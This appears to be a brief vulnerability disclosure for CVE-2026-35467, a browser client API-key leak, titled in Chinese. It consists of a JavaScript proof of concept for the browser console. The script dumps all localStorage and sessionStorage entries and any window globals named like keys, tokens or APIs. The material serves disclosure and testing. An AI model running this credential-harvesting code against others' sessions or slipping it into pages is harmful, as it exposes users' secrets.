CVE-2026-35467 浏览器客户端API密钥泄露漏洞

// Proof of Concept: Extracting API keys from browser storage // Open browser console (F12) and run the following script // Check LocalStorage if (localStorage.length > 0) { console.log("[+] LocalStorage found:"); for (let i = 0; i < localStorage.length; i++) { let key = localStorage.key(i); let value = localStorage.getItem(key); console.log(`Key: ${key}, Value: ${value}`); } } else { console.log("[-] No LocalStorage data"); } // Check SessionStorage if (sessionStorage.length > 0) { console.log("[+] SessionStorage found:"); for (let i = 0; i < sessionStorage.length; i++) { let key = sessionStorage.key(i); let value = sessionStorage.getItem(key); console.log(`Key: ${key}, Value: ${value}`); } } else { console.log("[-] No SessionStorage data"); } // Check for potential keys in global window object console.log("[+] Scanning window object for potential keys..."); Object.keys(window).forEach(k => { if (k.toLowerCase().includes('key') || k.toLowerCase().includes('token') || k.toLowerCase().includes('api')) { console.log(`Potential Key found: ${k} = ${window[k]}`); } });